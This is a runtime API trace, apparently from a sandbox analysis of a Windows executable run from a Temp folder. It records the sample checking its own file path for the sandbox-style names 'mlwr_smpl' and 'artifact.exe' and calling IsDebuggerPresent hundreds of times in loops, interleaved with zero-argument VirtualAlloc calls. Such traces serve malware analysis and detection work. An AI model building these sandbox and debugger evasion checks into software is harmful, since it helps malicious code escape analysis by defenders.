[0055.321] StrStrIA (lpFirst="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\38763.exe", lpSrch="mlwr_smpl") returned 0x0
[0055.321] StrStrIA (lpFirst="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\38763.exe", lpSrch="artifact.exe") returned 0x0
[0055.322] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] IsDebuggerPresent () returned 0
[0055.322] IsDebuggerPresent () returned 0
[0055.323] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.323] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.324] IsDebuggerPresent () returned 0
[0055.325] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.325] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] IsDebuggerPresent () returned 0
[0055.326] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.327] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] IsDebuggerPresent () returned 0
[0055.328] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.328] IsDebuggerPresent () returned 0
[0055.329] IsDebuggerPresent () returned 0
[0055.329] IsDebuggerPresent () returned 0
[0055.329] IsDebuggerPresent () returned 0
[0055.329] IsDebuggerPresent () returned 0
[0055.329] IsDebuggerPresent () returned 0
[0055.329] IsDebuggerPresent () returned 0
[0055.329] IsDebuggerPresent () returned 0
[0055.329] IsDebuggerPresent () returned 0
[0055.329] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.329] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.329] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.329] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.329] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.329] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.329] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.329] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.329] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.329] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.329] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.329] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.329] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.329] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.329] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.329] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.329] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.330] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.330] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.330] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.330] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.330] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.330] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.330] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.330] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.330] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.330] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.330] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.330] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.330] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.330] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.330] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.330] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.330] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.330] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.330] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.330] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.330] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.331] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.331] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.331] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.331] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.331] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.331] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.331] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.331] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.331] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.331] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.331] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.331] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.331] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.331] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.331] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.331] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.331] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.331] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.331] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.331] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.331] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.331] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.331] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.332] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.332] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.332] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.332] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.332] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.332] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.332] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.332] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.332] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.332] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.332] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.332] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.332] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.332] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.332] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.332] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.332] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.332] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.332] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.332] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.332] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.332] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.333] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.333] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.333] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.333] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.333] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.333] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.333] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.333] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.333] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.333] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.333] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.333] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.333] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.333] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.333] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.333] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.333] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.333] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.333] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.333] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.333] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.333] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.333] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.334] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.334] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.334] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.334] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.334] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.334] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.334] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.334] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.334] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.334] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.334] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.334] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.334] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.334] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.334] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.334] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.334] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.334] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.334] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.334] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.334] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.334] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
